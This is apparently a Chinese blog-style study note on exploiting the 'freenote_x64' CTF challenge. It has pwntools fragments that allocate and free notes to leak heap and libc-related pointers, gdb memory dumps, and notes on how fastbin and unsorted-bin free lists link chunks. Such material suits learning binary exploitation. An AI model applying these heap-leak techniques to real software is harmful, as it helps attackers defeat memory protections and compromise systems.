x64 fastbin2


p=gdb.debug('./freenote_x64','''b *0x400caa
c
x/50x $rax
c
c
c
x/100x $rax-0x50
''')
notelen=0x10

new_note("A"*notelen)
new_note("B"*notelen)
new_note("C"*notelen)
new_note("D"*notelen)
delete_note(2)
delete_note(0)

new_note("AAAAAAAA")

list_note()
p.recvuntil("0. ")
0xa6f830:   0x41414141  0x41414141  0x41414141  0x41414141
0xa6f840:   0x00000000  0x00000000  0x00000000  0x00000000
0xa6f850:   0x00000000  0x00000000  0x00000000  0x00000000
0xa6f860:   0x00000000  0x00000000  0x00000000  0x00000000
0xa6f870:   0x00000000  0x00000000  0x00000000  0x00000000
0xa6f880:   0x00000000  0x00000000  0x00000000  0x00000000
0xa6f890:   0x00000000  0x00000000  0x00000000  0x00000000
0xa6f8a0:   0x00000000  0x00000000  0x00000000  0x00000000
0xa6f8b0:   0x00000000  0x00000000  0x00000091  0x00000000
0xa6f8c0:   0x42424242  0x42424242  0x42424242  0x42424242
0xa6f8d0:   0x00000000  0x00000000  0x00000000  0x00000000
0xa6f8e0:   0x00000000  0x00000000  0x00000000  0x00000000
0xa6f8f0:   0x00000000  0x00000000  0x00000000  0x00000000
0xa6f900:   0x00000000  0x00000000  0x00000000  0x00000000
0xa6f910:   0x00000000  0x00000000  0x00000000  0x00000000
0xa6f920:   0x00000000  0x00000000  0x00000000  0x00000000
0xa6f930:   0x00000000  0x00000000  0x00000000  0x00000000
0xa6f940:   0x00000000  0x00000000  0x00000091  0x00000000
0xa6f950:   0x43434343  0x43434343  0x43434343  0x43434343
0xa6f960:   0x00000000  0x00000000  0x00000000  0x00000000
0xa6f970:   0x00000000  0x00000000  0x00000000  0x00000000
0xa6f980:   0x00000000  0x00000000  0x00000000  0x00000000
0xa6f990:   0x00000000  0x00000000  0x00000000  0x00000000
---Type <return> to continue, or q <return> to quit---
0xa6f9a0:   0x00000000  0x00000000  0x00000000  0x00000000
0xa6f9b0:   0x00000000  0x00000000  0x00000000  0x00000000
0xa6f9c0:   0x00000000  0x00000000  0x00000000  0x00000000
0xa6f9d0:   0x00000000  0x00000000  0x00000091  0x00000000
0xa6f9e0:   0x00000000  0x00000000  0x00000000  0x00000000
0xa6f9f0:   0x00000000  0x00000000  0x00000000  0x00000000
0xa6fa00:   0x00000000  0x00000000  0x00000000  0x00000000
0xa6fa10:   0x00000000  0x00000000  0x00000000  0x00000000
0xa6fa20:   0x00000000  0x00000000  0x00000000  0x00000000
0xa6fa30:   0x00000000  0x00000000  0x00000000  0x00000000
0xa6fa40:   0x00000000  0x00000000  0x00000000  0x00000000
0xa6fa50:   0x00000000  0x00000000  0x00000000  0x00000000
0xa6fa60:   0x00000000  0x00000000  0x000205a1  0x00000000
0xa6fa70:   0x00000000  0x00000000  0x00000000  0x00000000
0xa6fa80:   0x00000000  0x00000000
0x20cc830:  0xbcbfc678  0x00007fec  0xbcbfc678  0x00007fec
0x20cc840:  0x00000000  0x00000000  0x00000000  0x00000000
0x20cc850:  0x00000000  0x00000000  0x00000000  0x00000000
0x20cc860:  0x00000000  0x00000000  0x00000000  0x00000000
0x20cc870:  0x00000000  0x00000000  0x00000000  0x00000000
0x20cc880:  0x00000000  0x00000000  0x00000000  0x00000000
0x20cc890:  0x00000000  0x00000000  0x00000000  0x00000000
0x20cc8a0:  0x00000000  0x00000000  0x00000000  0x00000000
0x20cc8b0:  0x00000090  0x00000000  0x00000090  0x00000000
0x20cc8c0:  0x42424242  0x42424242  0x42424242  0x42424242
0x20cc8d0:  0x00000000  0x00000000  0x00000000  0x00000000
0x20cc8e0:  0x00000000  0x00000000  0x00000000  0x00000000
0x20cc8f0:  0x00000000  0x00000000  0x00000000  0x00000000
0x20cc900:  0x00000000  0x00000000  0x00000000  0x00000000
0x20cc910:  0x00000000  0x00000000  0x00000000  0x00000000
0x20cc920:  0x00000000  0x00000000  0x00000000  0x00000000
0x20cc930:  0x00000000  0x00000000  0x00000000  0x00000000
0x20cc940:  0x00000000  0x00000000  0x00000091  0x00000000
0x20cc950:  0xbcbfc678  0x00007fec  0x020cc820  0x00000000   <-----要想溢出这个值,就必须重新分配这个地址。这个地址是先释放的。所以说应该是先进先出的原则。
0x20cc960:  0x00000000  0x00000000  0x00000000  0x00000000
0x20cc970:  0x00000000  0x00000000  0x00000000  0x00000000
0x20cc980:  0x00000000  0x00000000  0x00000000  0x00000000
0x20cc990:  0x00000000  0x00000000  0x00000000  0x00000000
---Type <return> to continue, or q <return> to quit---
0x20cc9a0:  0x00000000  0x00000000  0x00000000  0x00000000
0x20cc9b0:  0x00000000  0x00000000  0x00000000  0x00000000
0x20cc9c0:  0x00000000  0x00000000  0x00000000  0x00000000
0x20cc9d0:  0x00000090  0x00000000  0x00000091  0x00000000
0x20cc9e0:  0x44444444  0x44444444  0x44444444  0x44444444
0x20cc9f0:  0x00000000  0x00000000  0x00000000  0x00000000
0x20cca00:  0x00000000  0x00000000  0x00000000  0x00000000
0x20cca10:  0x00000000  0x00000000  0x00000000  0x00000000
0x20cca20:  0x00000000  0x00000000  0x00000000  0x00000000
0x20cca30:  0x00000000  0x00000000  0x00000000  0x00000000
0x20cca40:  0x00000000  0x00000000  0x00000000  0x00000000
0x20cca50:  0x00000000  0x00000000  0x00000000  0x00000000
0x20cca60:  0x00000000  0x00000000  0x000205a1  0x00000000
(gdb) x/150x 0x2002830
0x2002830:  0xfbd70678  0x00007f8a  0xfbd70678  0x00007f8a
0x2002840:  0x00000000  0x00000000  0x00000000  0x00000000
0x2002850:  0x00000000  0x00000000  0x00000000  0x00000000
0x2002860:  0x00000000  0x00000000  0x00000000  0x00000000
0x2002870:  0x00000000  0x00000000  0x00000000  0x00000000
0x2002880:  0x00000000  0x00000000  0x00000000  0x00000000
0x2002890:  0x00000000  0x00000000  0x00000000  0x00000000
0x20028a0:  0x00000000  0x00000000  0x00000000  0x00000000
0x20028b0:  0x00000090  0x00000000  0x00000091  0x00000000
0x20028c0:  0x42424242  0x42424242  0x42424242  0x42424242
0x20028d0:  0x00000000  0x00000000  0x00000000  0x00000000
0x20028e0:  0x00000000  0x00000000  0x00000000  0x00000000
0x20028f0:  0x00000000  0x00000000  0x00000000  0x00000000
0x2002900:  0x00000000  0x00000000  0x00000000  0x00000000
0x2002910:  0x00000000  0x00000000  0x00000000  0x00000000
0x2002920:  0x00000000  0x00000000  0x00000000  0x00000000
0x2002930:  0x00000000  0x00000000  0x00000000  0x00000000
0x2002940:  0x00000000  0x00000000  0x00000091  0x00000000
0x2002950:  0x41414141  0x41414141  0x02002820  0x00000000<----折辱我们猜想的,这个先释放的会先分配,然后被A占用,输出这个字符串就可以溢出我们的堆地址。因为我们第二个释放的是堆块1,所以这里指向的的地址也就是堆块1.
0x2002960:  0x00000000  0x00000000  0x00000000  0x00000000
0x2002970:  0x00000000  0x00000000  0x00000000  0x00000000
0x2002980:  0x00000000  0x00000000  0x00000000  0x00000000
0x2002990:  0x00000000  0x00000000  0x00000000  0x00000000
---Type <return> to continue, or q <return> to quit---
0x20029a0:  0x00000000  0x00000000  0x00000000  0x00000000
0x20029b0:  0x00000000  0x00000000  0x00000000  0x00000000
0x20029c0:  0x00000000  0x00000000  0x00000000  0x00000000
0x20029d0:  0x00000090  0x00000000  0x00000091  0x00000000
0x20029e0:  0x44444444  0x44444444  0x44444444  0x44444444
0x20029f0:  0x00000000  0x00000000  0x00000000  0x00000000
0x2002a00:  0x00000000  0x00000000  0x00000000  0x00000000
0x2002a10:  0x00000000  0x00000000  0x00000000  0x00000000
0x2002a20:  0x00000000  0x00000000  0x00000000  0x00000000
0x2002a30:  0x00000000  0x00000000  0x00000000  0x00000000
0x2002a40:  0x00000000  0x00000000  0x00000000  0x00000000
0x2002a50:  0x00000000  0x00000000  0x00000000  0x00000000
0x2002a60:  0x00000000  0x00000000  0x000205a1  0x00000000
0x2002a70:  0x00000000  0x00000000  0x00000000  0x00000000
0x2002a80:  0x00000000  0x00000000
notelen=0x80
#io.sendline("c")
p=gdb.debug('./freenote_x64','''b *0x400caa
c
x/50x $rax
c
c
b *0x400d85
c
x/50x $rax
''')
new_note("A"*notelen)

new_note("B"*notelen)
delete_note(0)

new_note("\xb8")
(gdb) x/100x 0x20a1830
0x20a1830:  0xab4086b8  0x00007f17  0xab408678  0x00007f17
0x20a1840:  0x41414141  0x41414141  0x41414141  0x41414141
0x20a1850:  0x41414141  0x41414141  0x41414141  0x41414141
0x20a1860:  0x41414141  0x41414141  0x41414141  0x41414141
0x20a1870:  0x41414141  0x41414141  0x41414141  0x41414141
0x20a1880:  0x41414141  0x41414141  0x41414141  0x41414141
0x20a1890:  0x41414141  0x41414141  0x41414141  0x41414141
0x20a18a0:  0x41414141  0x41414141  0x41414141  0x41414141
0x20a18b0:  0x00000090  0x00000000  0x00000091  0x00000000
0x20a18c0:  0x42424242  0x42424242  0x42424242  0x42424242
0x20a18d0:  0x42424242  0x42424242  0x42424242  0x42424242
0x20a18e0:  0x42424242  0x42424242  0x42424242  0x42424242
0x20a18f0:  0x42424242  0x42424242  0x42424242  0x42424242
0x20a1900:  0x42424242  0x42424242  0x42424242  0x42424242
0x20a1910:  0x42424242  0x42424242  0x42424242  0x42424242
0x20a1920:  0x42424242  0x42424242  0x42424242  0x42424242
0x20a1930:  0x42424242  0x42424242  0x42424242  0x42424242
0x20a1940:  0x00000000  0x00000000  0x000206c1  0x00000000

经过对比,fastbin链表结构好像不止单链表这么简单。
这里写图片描述

我查了些资料图中p指向的地址明显是个很重要的地址,但根本没说明这个指针指向那。我通过分析发现,这个地址虽然不是libc地址,但跟libc地址相关。而且每个块释放后链接到链表后都会有个p指针,最前面的块因为没有前向指针fd,所以两个指针地址都是这里的p指针。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值